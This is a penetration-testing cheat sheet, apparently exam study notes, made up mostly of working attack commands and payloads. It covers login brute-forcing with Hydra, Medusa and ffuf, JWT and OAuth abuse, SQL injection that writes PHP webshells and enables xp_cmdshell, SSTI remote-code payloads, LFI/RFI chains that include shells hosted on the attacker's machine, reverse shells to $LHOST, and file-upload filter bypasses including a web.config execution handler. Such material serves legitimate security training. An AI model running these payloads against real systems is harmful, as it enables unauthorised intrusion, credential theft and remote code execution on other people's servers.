[!tip] Real workflow Browser → Burp (intercept, Repeater, Comparer, Decoder) for anything hand-crafted; ffuf/feroxbuster for volume fuzzing; ZAP or nuclei for the broad vuln sweep. All three proxy-able through each other (ffuf -x, --proxy flags below).


Proxy a CLI tool through Burp/ZAP (debugging, not tunneling)

Different from the STAGE 10 SOCKS pivot — this routes a tool’s HTTP through the proxy on :8080 so I can read/replay its exact raw requests when a scanner “isn’t working”.

# native flags first — faster and more reliable than wrapping
ffuf   -x http://127.0.0.1:8080 ...
sqlmap --proxy=http://127.0.0.1:8080 -r request.txt
nmap   --proxies http://127.0.0.1:8080 $IP -p PORT -Pn -sC     # experimental; -Pn required

# msf module through the proxy
msf> set PROXIES HTTP:127.0.0.1:8080

# proxychains fallback for anything without a native flag
#   /etc/proxychains.conf  ->  http 127.0.0.1 8080   (comment the default socks4 line, set quiet_mode)
proxychains curl http://$IP:PORT

[!tip] Only proxy while actively investigating a tool’s requests — it adds latency and will crawl a bulk fuzz. Turn it off for normal runs. See 6 - Proxying Tools.


Advanced ffuf — fingerprint, recurse, filter the wordlist

What to look for → the stack’s real extension before I waste a page-fuzz, deep nested trees, and wordlists trimmed to a known password policy so the run isn’t dominated by impossible candidates.

Fingerprint the extension off index.* (more reliable than guessing from Server: header):

# web-extensions.txt already carries the leading dot, so FUZZ sits straight after "index"
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
  -u http://$IP/blog/indexFUZZ -c
#   .php [200]  -> PHP stack ;  .phps [403] -> source-view handler exists but blocked (still useful intel)
# then reuse a directory list as a FILENAME list against the confirmed extension:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
  -u http://$IP/blog/FUZZ.php -c

Recursion + extension in one pass — the depth here goes beyond the guide’s plain -recursion:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
  -u http://$IP/FUZZ -recursion -recursion-depth 1 -e .php -v -c
#   -recursion-depth 1 = direct sub-dirs only (start shallow, then hand-target the interesting dir)
#   -e .php doubles the list (bare + .php) so dirs AND files hit in one run
#   -v is MANDATORY with recursion — plain keyword output is ambiguous once jobs nest ([INFO] Adding a new job...)

Value fuzzing with a generated list (when no SecLists file fits an app-specific ID/token shape):

seq 1 1000 | ffuf -w -:FUZZ -u http://$IP/admin/admin.php -X POST \
  -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c
#   pipe seq straight in with -w -  (no intermediate ids.txt); -fs = the "Invalid id!" baseline size

Trim a wordlist to the target’s password policy before feeding brute-force (min 8, upper+lower+digit):

grep -P '^(?=.{8,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' rockyou.txt > policy.txt
# add "2+ specials" with a grouped quantifier:
grep -E '([!@#$%^&*].*){2,}' policy.txt > policy2.txt      # collapses a 10k list to dozens

[!warning] Watch out

  • -recursion without -recursion-depth against a deep tree can expand ~forever — always cap it, then follow up manually. feroxbuster recurses by default with wildcard-response heuristics if ffuf’s soft-404 tuning gets tedious.
  • A fuzz hit means the value/param is recognised, not that it still works — confirm with a manual curl and read the actual app response (Invalid id! proves the param is live and validated → 8 - Value Fuzzing).

ffuf — POST body, JSON, header & cookie fuzzing

Same FUZZ-anywhere primitive as dir fuzzing, just moved into the body/headers. The gotcha the guide’s POST example omits is the Content-Type header — PHP won’t parse the body without it.

# POST param NAME (form-encoded) — the header is required or every hit reads as the baseline
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u http://$IP/admin/admin.php -X POST -d 'FUZZ=key' \
  -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c

# JSON API body — fuzz a field value inside the JSON
ffuf -w users.txt:FUZZ -u http://$IP/api/login -X POST \
  -H 'Content-Type: application/json' -d '{"username":"FUZZ","password":"test"}' -fr 'error' -c

# HEADER fuzz — e.g. hunt an ACL/localhost-only path via spoofed forwarding headers
ffuf -w /usr/share/seclists/Miscellaneous/web/http-request-headers/http-request-headers-fuzz.txt:FUZZ \
  -u http://$IP/admin -H 'FUZZ: 127.0.0.1' -c
ffuf -u http://$IP/admin -w hosts.txt:FUZZ -H 'X-Forwarded-For: FUZZ' -fc 403 -c

# COOKIE value fuzz — session/role guessing
ffuf -w values.txt:FUZZ -u http://$IP/dashboard -b 'role=FUZZ' -fc 403 -c

[!tip] Once a hidden param surfaces it’s under-tested by definition — revisit it with SQLi / command-injection / XSS from the sections above rather than treating discovery as the finish line → 7 - Parameter Fuzzing - GET & POST.


Login brute-forcing — Hydra & Medusa

What to look for → a confirmed username (default cred, enumerated, /home/<user>), the form’s exact method + field names, and the precise success/failure signal (dev-tools Network tab or proxy interception is ground truth). Try default creds before a long run — free and often still valid. Tools: hydra (raw throughput, service modules), medusa (parallel hosts), ffuf (web/JSON flexibility).

Default creds first

# service-specific lists live under Default-Credentials/
head /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://$IP
#   -C file = "user:pass" combined pairs, one attempt each (spray default pairs, no cartesian product)

Hydra http-post-form — the params string is path:body-template:condition:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -f -V $IP -s 80 \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
#   ^USER^/^PASS^ = per-attempt placeholders
#   F=<string>  -> response CONTAINING it = fail (everything else = candidate success)   [most reliable]
#   S=302 / S=Dashboard -> explicit SUCCESS marker; use when there's no clean failure string
#   -f stop on first hit, -V show each try

Hydra service modules & pure brute (service://target, consistent across protocols):

hydra -l "$U" -P rockyou.txt ssh://$IP -t 4          # ssh (throttle -t on flaky SSH)
hydra -L users.txt -P pass.txt ftp://$IP -s 2121 -V  # non-default port
hydra -l basic-auth-user -P pass.txt $IP http-get / -s 81   # HTTP Basic Auth
hydra -l root -p toor -M targets.txt ssh             # one pair across many hosts (subnet sweep)
hydra -l administrator -x 6:8:abcABC0123 $IP rdp     # -x = charset brute (len 6-8), not a wordlist
# also: pop3 imap smtp mysql mssql vnc rdp  — same service://IP shape

Medusa — same idea, different flags; strong for chaining a foothold into more targets:

medusa -h $IP -n PORT -u sshuser -P pass.txt -M ssh -t 3
# after SSH in: netstat -tulpn | grep LISTEN  ->  spot a new local service (e.g. :21)
medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5      # /home/ftpuser hinted the username
medusa -M web-form -h $IP -U users.txt -P pass.txt -m FORM:"..."   # web login module

ffuf as the cred brute (handles JSON/tokens Hydra chokes on) — this is the cluster-bomb:

ffuf -w users.txt:U -w pass.txt:P -mode clusterbomb \
  -u http://$IP/login.php -X POST -d 'username=U&password=P' \
  -H 'Content-Type: application/x-www-form-urlencoded' -fr 'Invalid credentials' -c
#   -mode clusterbomb = every user x every pass ;  -mode pitchfork = paired lines (credential stuffing)

[!warning] Watch out

  • Confirm the F=/S= signal by hand first — Hydra’s condition match is a raw string-grep against the response; a wrong string reports every attempt as success (or none). F= beats S= when the app shows a stable error.
  • Hydra http-post-form breaks on CSRF tokens, JSON APIs, and JS-side validation — switch to Burp Intruder (Cluster bomb + Grep-Match) or the ffuf cluster-bomb above for those; keep Hydra/Medusa for raw SSH/FTP/RDP throughput.
  • Watch for lockout / rate-limit / CAPTCHA — drop -t, prefer spraying (few passwords × many users, breadth-first) over hammering one account. -f should be a default habit to stop the noise the moment a pair lands.
  • NetExec is the better pick for Windows/AD-adjacent services (SMB/WinRM/MSSQL/RDP) — it sprays and enumerates post-auth in one shot (STAGE 3/AD).

Custom wordlists from OSINT

Generic 10M-entry lists rarely contain one named target’s actual creds — build small, relevant ones and let them feed -L/-P directly.

# usernames from a real name (initials, dotted, numbered permutations)
./username-anarchy Jane Smith > users.txt

# CUPP: biographical password profile (name, DOB, partner, pet, company, keywords -> leet + suffixes)
cupp -i                                   # interactive; ~46k candidates from a modest profile
grep -P '^(?=.{6,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' jane.txt \
  | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt      # policy-trim before the run

[!tip] Username and password matter — a known username halves the search space. theHarvester + a known email format (f.last), or exiftool on public PDFs for the author naming convention, often beats brute permutation. Full pipeline: 7 - Custom Wordlists, policy-filter theory in 4 - Hybrid Attacks & Credential Stuffing, default-cred rationale in 2 - Password Security Fundamentals.


AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA

Default credentials table — try these before any wordlist (T1078 Valid Accounts):

AppDefaultsNotes
Tomcat Managertomcat:tomcat · tomcat:s3cret · admin:admin→ WAR deploy RCE (Tomcat → /manager WAR deploy (msfvenom war))
Jenkinsadmin:admin · often no auth (setup skipped)→ Script console RCE
GitLabroot pw set at install; check self-registration→ repo secret mining
Grafanaadmin:admin (prompts change, often skipped)also CVE-2021-43798 unauth LFI
Splunkadmin:changemeexpired trial → no auth at all
PRTGprtgadmin:prtgadminpre-filled on the login page
Nagios XInagiosadmin:PASSW0RDmultiple RCE CVEs
phpMyAdminroot: (blank) · root:rootSELECT ... INTO OUTFILE webshell
WebLogicweblogic:weblogic · system:Passw0rdconsole → app deploy
Axis2admin:axis2.aar service upload RCE
Drupal/Joomla WPset at install — but admin:admin/admin:password always worth 3 triesgeneric-error logins kill user enum

Also check the curated lists: /usr/share/seclists/Passwords/Default-Credentials/ and the web tool cirt.net/vendor default lists.

JWT attacks — grab the token from Authorization: Bearer, decode, then attack (jwt_tool):

# decode by hand
echo '<payload-part>' | tr '_-' '/+' | base64 -d 2>/dev/null

# jwt_tool full audit + signing-key crack
python3 jwt_tool.py <JWT>                 # recon mode: flags alg, kid, common flaws
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt   # crack weak HMAC secret
python3 jwt_tool.py <JWT> -X a            # alg=none attack
python3 jwt_tool.py <JWT> -I -pc role -pv admin   # inject claim after -T tamper
JWT flawTest
alg: none acceptedset header {"alg":"none"}, empty signature, resend
Weak HMAC secretcrack with jwt_tool/hashcat mode 16500 (rockyou, jwt.secrets.list)
RS256→HS256 confusionsign with the server’s public key as the HMAC secret
kid injectionkid: ../../dev/null (sign with empty key), SQLi in kid, path to your key
jku/x5u header abusepoint at attacker-hosted JWK set
No expiry/aud checkreplay old tokens, swap aud

Flask session cookies — Django/Flask signed cookies are the same shape of bug: with flask-unsign crack the SECRET_KEY, then forge any session:

flask-unsign --decode --cookie '<session.cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt     # crack secret
flask-unsign --sign --cookie "{'username':'admin'}" --secret 'crackedSecret'

OAuth / OIDC pitfalls (test systematically, don’t skim):

  • redirect_uri validation → open redirect to attacker.tld steals the auth code/token (substring/@/dot tricks: https://legit.com.attacker.tld, https://attacker.tld?u=legit.com).
  • response_type=token implicit flow → access token in URL fragment, leaks via Referer/browser history.
  • State/state parameter missing → OAuth CSRF (attacker account linked to victim session).
  • code replay or no PKCE on a public client → intercept & reuse the authorization code.
  • OIDC id_token accepted without signature/issuer validation.

Password reset flaws — the highest-yield auth surface after brute force:

  • Host-header poisoning: request a reset with Host: attacker.tld (or X-Forwarded-Host) → victim’s reset link points at you.
  • Token leakage via Referer when the reset page loads third-party resources.
  • Predictable/short/never-expiring tokens; token not invalidated after use; token tied to no user (swap email/uid in the reset-confirm request).
  • Response oracle for user enumeration on the reset form (“email not found”).

2FA / MFA bypass patterns:

  • Direct-request to post-2FA endpoints with only the stage-1 session (forced browsing).
  • Response tampering: {"success":false}true, or status 401 → 200 (client-side enforcement).
  • OTP brute force: 4–6 digit codes without rate-limit/lockout → race it (see 🏎️ Race conditions & request smuggling).
  • Reuse/flawed rotation of OTP tokens; null/empty OTP accepted.
  • Backup codes weaker than the OTP; “remember device” cookie guessing.

Session fixation & session mismanagement:

  • App issues a session cookie pre-login and doesn’t rotate it post-login → fixate a victim on your cookie, wait for them to log in, replay it.
  • Session cookie survives logout / long Expires / no Secure+HttpOnly+SameSite flags → theft & replay windows.
  • JWT/localStorage “sessions” can’t be revoked server-side — logout is cosmetic.

[!warning] OPSEC — auth attacks are the noisiest thing you’ll do Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style “10 attempts / 10 min” lockouts, and always -f/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See 02 - Attacking Common Applications - CPTS Cheat Sheet for per-app cred tables and 05 - Foothold Toolkit - Shells Payloads and Metasploit for what to do with the shell that follows.

💉 Manual Injection Depth — SQLi · LFI/RFI · Upload · CmdInjection

The automated tools above hide the mechanics. This is the by-hand depth for when sqlmap gets WAF’d, when there’s an upload form to abuse, or when the exam wants me to show the injection. Modules: SQLi Fundamentals (7 - Subverting Query Logic → 11 - Reading and Writing Files), File Inclusion (3 - Basic Bypasses, 7 - LFI and File Uploads, 8 - Log Poisoning), File Upload (3 - Blacklist Filters → 7 - Other Upload Attacks), Command Injection (3 - Identifying Filters → 8 - Evasion Tools). All web shells below = <?php system($_REQUEST['cmd']); ?>.

Manual SQLi — auth-bypass → UNION extract → file R/W → shell

What to look for → a ' that throws a SQL error (injectable), a login form (auth bypass), or any reflected query (UNION dump). Reach here when sqlmap misses it or a WAF blocks its request shapes — see 9 - Union Clause, 10 - Database Enumeration, 11 - Reading and Writing Files.

Enumerate — confirm, bypass auth, detect columns, fingerprint

# injectable? one quote -> odd-quote syntax error
username: admin'

# auth bypass (either field): OR-always-true, or comment out the rest
' or '1'='1
admin'-- -           # comment neutralises trailing "AND password=..."
admin')-- -          # parenthesised query: close the ( before commenting
# NOTE: -- needs a TRAILING SPACE; in a URL write --+ , and # must be %23

# column count (two directions)
cn' ORDER BY 4-- -                    # increment until "Unknown column '5'"
cn' UNION SELECT 1,2,3,4-- -          # increment until it STOPS erroring

# which columns print + DBMS fingerprint
cn' UNION SELECT 1,@@version,3,4-- -  # full output visible  -> 10.3.22-MariaDB...
cn' UNION SELECT 1,POW(1,1),3,4-- -   # only a NUMERIC column prints
cn' UNION SELECT SLEEP(5)-- -         # zero output at all -> 5s delay = blind (oracle for B/T)

Exploit / Attack — INFORMATION_SCHEMA walk, then FILE read/write → RCE

# DBs -> tables -> columns -> data (dot-operator reaches OTHER databases)
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION SELECT 1,database(),3,4-- -                                       # DB the query runs in
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES  WHERE table_schema='dev'-- -
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,4 FROM INFORMATION_SCHEMA.COLUMNS  WHERE table_name='credentials'-- -
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -             # cross-DB read

# --- file R/W: confirm FILE priv + secure_file_priv BEFORE writing ---
cn' UNION SELECT 1,user(),3,4-- -
cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -   # empty = write anywhere

cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
cn' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -   # Ctrl+U for raw source (leaks DB creds)

# proof-write first (confirms webroot + perms), THEN the shell -> RCE
cn' UNION SELECT 1,'proof',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -
curl "http://$IP/shell.php?0=id"
# longer/binary payloads: wrap the string in FROM_BASE64('...') INTO OUTFILE

# MSSQL analog (DBMS is MSSQL, not MySQL) -> stacked query + xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -

[!warning] Watch out

  • -- needs the trailing space; #%23; and count the parentheses — a wrapped query needs admin')-- not admin'-- .
  • Put real data only in a printed column (map them with @@version); output in an unprinted column is computed but invisible. NULL is the type-agnostic filler when a position errors on type.
  • INTO OUTFILE needs all three: FILE priv + secure_file_priv permits the path + OS write perms. Stock MySQL defaults secure_file_priv=/var/lib/mysql-files (or NULL) → OUTFILE to webroot fails; pivot to cred-dump, don’t force RCE.
  • A root DB user is usually a DBA with FILE; its read scope via db.table is normally wider than the single app DB.

NoSQL injection (MongoDB/Express APIs)

What to look for → Node/Express stack (connect.sid, X-Powered-By: Express), JSON API bodies, login forms on a MERN app. MongoDB queries take objects, so type-juggling turns {"$gt":""} into always-true.

Payload table

VectorPayloadEffect
URL-encodedusername[$ne]=x&password[$ne]=x$ne = not-equal → matches any real user (auth bypass)
URL-encodedusername=admin&password[$regex]=^acharacter-by-character password extraction
JSON body{"username":{"$gt":""},"password":{"$gt":""}}same bypass, JSON form (Content-Type: application/json)
JSON body{"username":"admin","password":{"$regex":"^HTB{"}}boolean oracle per prefix (binary-search the flag/pw)
JS injection`’
Timing{"$where":"sleep(5000)"}blind confirm (rare, needs $where enabled)
# extract admin's password char-by-char via regex oracle
for c in {a..z} {0..9}; do
  curl -s -X POST http://$IP/login -H 'Content-Type: application/json' \
    -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$c\"}}" | grep -q 'Welcome' && KNOWN="$KNOWN$c" && echo "$KNOWN"
done

[!warning] Watch out

  • The [$ne] syntax only works in URL-encoded bodies (PHP/Express qs parsing); for JSON APIs switch to {"$ne":null} objects — test both.
  • Regex extraction is one request per character per position — slow but silent (single-user, no lockout). Blunt $ne bypass is instant but obvious in logs.
  • PayloadsAllTheThings NoSQL page is the canonical payload list.

SSTI — server-side template injection

What to look for → reflected input inside a template (error pages, email templates, ?name=, PDF/report generators). Test with {{7*7}}49 = SSTI (vs $ {7*7}/<%= 7*7 %> per engine). T1190 Exploit Public-Facing Application.

Detection matrix (send {{7*7}} and ${7*7}, read the result):

Engine / stackSyntax probeResult 49?RCE payload shape
Jinja2 (Flask/Python){{7*7}}yes{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig (PHP){{7*7}}yes`{{[‘id’]
FreeMarker (Java)${7*7} / <#assign>yes<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Thymeleaf (Spring)*{7*7} / ${...}contextSpringEL: ${T(java.lang.Runtime).getRuntime().exec('id')}
ERB (Ruby)<%= 7*7 %>yes<%= system('id') %> / <%= `id` %>
Pug/Jade (Node)#{7*7}yes#{global.process.mainModule.require('child_process').execSync('id')}
Velocity (Java)#set($x=7*7)$xyesclass-tool / Runtime.exec chains
Smarty (PHP){$smarty.version}version leak{system('id')} (older) / {literal} tricks
# generic Jinja2/Twig RCE ladder (Jinja2)
{{config}}                                   # leak app config/secret keys
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}} # walk subclasses -> find subprocess.Popen index

# tplmap — the sqlmap of SSTI (auto-detect engine, then shell)
python3 tplmap.py -u "http://$IP/page?name=test" --os-shell
python3 tplmap.py -u "http://$IP/page?name=test" -e jinja2 --reverse-shell $LHOST 4444

[!warning] Watch out

  • {{7*7}} rendering as literal text ≠ safe — the engine may use ${...} or <%= %>; probe all three syntaxes.
  • Sandboxed engines (Jinja2 sandbox, Smarty secure mode) need subclass-walking or gadget chains — don’t expect os.popen to work on the first try.
  • SSTI output often lands in emails/PDFs, not the HTTP response — blind confirm with an OOB callback (curl $LHOST:8000/x) like blind XSS.
  • Cross-link the resulting shell: 05 - Foothold Toolkit - Shells Payloads and Metasploit for upgrading to a full reverse shell.

LFI depth — filter-bypass matrix → LFI2RCE → RFI transports

What to look for → same ?page= ?file= ?language= ?include= sinks the guide’s wrapper block uses. This is the manual bypass ladder and the RCE chains the LFI - Cheat Sheet pointer glosses — recognise the concatenation pattern first (2 - Local File Inclusion (LFI)), then defeat the filter (3 - Basic Bypasses).

Enumerate — recognise the concat pattern, then beat the filter

# how is the param concatenated? (a verbose PHP error names the resolved path)
?language=/etc/passwd                 # direct include()      -> absolute path works
?language=../../../../etc/passwd      # prepended directory   -> traverse out (excess ../ is harmless)
?language=/../../../etc/passwd        # prefix e.g. "lang_"   -> leading / turns prefix into a dir
# appended ".php" -> /etc/passwd.php (fails): use php://filter, or legacy null-byte below

# filter-bypass matrix
?language=....//....//....//etc/passwd                        # non-recursive str_replace('../','') -> ....// leaves ../
?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd             # URL-encode; DOUBLE-encode vs a 1-pass WAF
?language=./languages/../../../etc/passwd                     # approved-path regex only anchors the START
?language=/etc/passwd%00        # + ~2048x "./" padding       # PHP <5.3/5.5 ONLY (dead on 7/8)

Exploit / Attack — RCE chains beyond the guide’s wrapper one-liners

# --- second-order LFI: poison a STORED value, trigger the sink later ---
# register username = ../../../etc/passwd , then hit /profile/<username>/avatar.png

# --- LFI2RCE via ANY upload form (the upload itself need not be vulnerable) ---
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif          # ASCII magic-byte polyglot
# upload as avatar, grab the stored path from page source (<img src=...>), then include it:
curl "http://$IP/index.php?language=./profile_images/shell.gif&cmd=id"

# zip:// wrapper  (# -> %23)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
curl "http://$IP/index.php?language=zip://./uploads/shell.jpg%23shell.php&cmd=id"

# phar:// wrapper (build locally with phar.readonly=0)
#   shell.php:  $p=new Phar('shell.phar'); $p->startBuffering();
#     $p->addFromString('shell.txt','<?php system($_GET["cmd"]); ?>');
#     $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
curl "http://$IP/index.php?language=phar://./uploads/shell.jpg/shell.txt&cmd=id"

# --- poisoning variants beyond the guide's access.log + PHPSESSID (see 8 - Log Poisoning) ---
curl "http://$IP/index.php?language=/proc/self/environ&cmd=id"        # UA reflected here
curl "http://$IP/index.php?language=/proc/self/fd/15&cmd=id"          # fd N ~ 0-50, brute it
# nginx access log is www-data-readable (Apache's is usually root/adm); SSH/FTP/mail also poisonable:
#   log in / send mail with PHP in the username or body, then include:
#   /var/log/nginx/access.log  /var/log/sshd.log  /var/log/vsftpd.log  /var/log/mail

RFI — the transports the guide’s single HTTP host skips (6 - Remote File Inclusion (RFI))

# 0) VERIFY rfi with a LOOPBACK include first (allow_url_include=On is necessary, not sufficient)
?language=http://127.0.0.1:80/index.php     # renders+executes = RFI viable; NEVER target the vuln page (DoS loop)

echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 80                                               # HTTP (80/443 = most-whitelisted egress)
curl "http://$IP/index.php?language=http://$LHOST/shell.php&cmd=id"

sudo python3 -m pyftpdlib -p 21                                              # FTP: when the literal http:// string is WAF'd
curl "http://$IP/index.php?language=ftp://$LHOST/shell.php&cmd=id"

impacket-smbserver -smb2support share $(pwd)                                 # SMB: Windows target -> UNC path skips allow_url_include
curl "http://$IP/index.php?language=\\\\$LHOST\\share\\shell.php&cmd=whoami"

PHP wrapper quick-reference

WrapperNeedsUse
php://filter/convert.base64-encode/resource=Xnothingread PHP source (b64 it so it isn’t executed)
php://inputallow_url_includePOST raw PHP as the request body
data://text/plain;base64,...allow_url_includeinline payload, no external host
expect://cmdexpect ext (rare)direct command exec
zip://shell.zip%23shell.phpuploaded zipexecute a PHP file inside an uploaded archive
phar://shell.jpg/shell.txtuploaded phar-polyglotsame trick, phar metadata also triggers unserialize
file:///etc/passwd / bare pathnothingplain read / traversal baseline

Filter-chain RCE — when you have LFI on a modern PHP (7/8) with no upload, no logs, no allow_url_include: php_filter_chain_generator builds a php://filter chain of convert.iconv.* transforms that generates arbitrary PHP code from the included file itself, giving RCE from a pure read primitive:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["0"]);?>'
# paste the emitted chain as the include param, then &0=id

[!warning] Watch out

  • Null-byte / path-truncation are PHP <5.3/5.5 only — dead on any live target, keep them purely for legacy recognition.
  • Don’t filter 301/302/403 when fuzzing files under an LFI: filesystem read ≠ HTTP navigation, those pages are still readable through the include.
  • RFI ⊂ LFI: every RFI is an LFI, not every LFI is RFI-capable — prove it with the loopback include, don’t infer it from allow_url_include alone.
  • Session/log poisoning is noisy and forensic by design — prefer wrapper or upload RCE. Each poisoned-session command needs re-poisoning first (the inclusion request overwrites the page field on the next write).

File-upload bypass matrix — extension · Content-Type · magic bytes · double-ext

What to look for → any upload (avatar, doc import, CSV). Peel the filters layer by layer — extension → Content-Type header → magic bytes — then check the filename itself and the “safe type” surface. Full ladder in 2 - Client-Side Validation → 7 - Other Upload Attacks.

Enumerate — find which layer validates and what it accepts

# client-side only? intercept in Burp & swap filename/body, or delete the onchange handler in DevTools
#   -> back-end then sees the raw POST with no JS in the way
# blacklist vs whitelist: Intruder-fuzz the extension, sort by response Length (one uniform length = accepted set)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
  -u http://$IP/upload.php -X POST -F "uploadFile=@shell.FUZZ;type=image/png"
# content-type layer: fuzz just the FILE-PART header with the image subset
grep 'image/' /usr/share/seclists/Miscellaneous/Web/content-type.txt > image-ct.txt

Exploit / Attack — the bypass matrix

# EXTENSION blacklist -> alternate PHP-executable exts (server-handler dependent)
shell.phtml  shell.php3  shell.php4  shell.php5  shell.pht    pHp   # mixed-case beats a lowercase-only list

# WHITELIST (regex) bypass
shell.jpg.php        # double-ext: unanchored ^.*\.(jpg|png)$ (missing $) matches .jpg, file saved as .php
shell.php.jpg        # reverse double-ext: abuses Apache <FilesMatch ".+\.ph(ar|p|tml)"> with no trailing $
# char-injection generator (legacy/Windows: %00 truncation, ':' = NTFS ADS e.g. shell.aspx:.jpg)
for c in %20 %0a %00 / .\\ . : ; do for e in .php .phps; do \
  printf 'shell%s%s.jpg\nshell%s%s.jpg\nshell.jpg%s%s\n' "$c" "$e" "$e" "$c" "$c" "$e"; done; done > upx.txt

# CONTENT-TYPE header spoof: keep filename="shell.php", body=PHP, set the file part's header:
#   Content-Type: image/jpg
# MAGIC-BYTE (signature) check -> prepend GIF8
printf 'GIF8\n<?php system($_REQUEST["cmd"]); ?>' > shell.php     # `file shell.php` now reports GIF image data
# layered filter -> combine ext + content-type + magic bytes, fuzz the permutation

# --- "secure" upload still carries surface without any code-exec (6 - Limited File Uploads) ---
# SVG stored XSS (browser renders SVG but parses its XML):
#   <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg>   upload as .svg
# SVG/XML XXE -> local file read + source disclosure (PDF/DOCX/PPTX embed XML too):
#   <!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>
#   <!DOCTYPE svg [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><svg>&x;</svg>
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg     # XSS via a displayed EXIF field
# filename as its own injection vector (back-end shells out / builds SQL / reflects it):
file$(whoami).jpg     file.jpg||whoami     "<script>alert(1)</script>.jpg"     "x';select sleep(5);--.jpg"
# leak the uploads path: duplicate name / parallel identical uploads / ~5000-char filename -> disclosing error
# Windows: reserved names CON COM1 LPT1 NUL ; 8.3 short-name overwrite  WEB~1.CONF -> web.config

[!warning] Watch out

  • Bypassing the blacklist ≠ execution: a fuzzed-allowed extension only fires if the web server’s handler hands it to the PHP interpreter — always test the real upload; .phtml is the usual winner.
  • The unanchored regex (missing $) is THE whitelist bug — try shell.jpg.php first; if it’s properly anchored, drop to the Apache FilesMatch layer with shell.php.jpg.
  • Content-Type is browser-set, exactly as trustworthy as the filename; the magic-byte check only reads the first bytes, so GIF8 alone spoofs it (a cosmetic GIF8 line prints before your output).
  • SVG is XML rendered as an image — it carries the full XSS and XXE surface even on an “images-only” form, and XXE source-disclosure frequently hands you the exact filter/naming logic to beat everywhere else.

Executable extensions per server — fuzz these, not a random list:

ServerExtensions to tryConfig abuse
Apache + PHP.php .phtml .php3 .php4 .php5 .php7 .pht .phar .pHpupload .htaccess: AddType application/x-httpd-php .jpg → any .jpg executes as PHP
IIS (classic).asp .aspx .ashx .asmx .cer .asaupload web.config → run arbitrary command/ASPX (see below)
IIS (ASP.NET).aspx .ashx .asmx .ascx .cshtmlweb.config handler mapping; .ashx = generic handler, often forgotten
Tomcat/Java.jsp .jspx .jsw .jsv .warWAR deploy if /manager reachable
nginxserver config decides (.php via php-fpm)nginx misconfig: /shell.jpg/x.php path-info trick passes to php-fpm
Node/Expressno server-side exec by extensionaim for stored XSS / proto-pollution instead
<!-- web.config upload → ASPX code exec on IIS (save as web.config in an uploadable dir) -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
<add name="shell" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
</handlers></system.webServer></configuration>
<!-- now a classic-ASP shell uploaded as .jpg executes -->

Path truncation / injection: .php%00.jpg (PHP<5.3 only), .php/, .php. (Windows strips trailing dot), . php, ::$DATA (NTFS default stream), shell.asp;.jpg (IIS 6 semicolon parsing).

Webshell staging — pick the shell for the server

[!tools] Staged webshells (drop into the upload, then request it) PHP targets (Apache/nginx+php-fpm, WordPress theme editor, LFI2RCE):

rp-shell.php (SHA-256 · GPG signature)

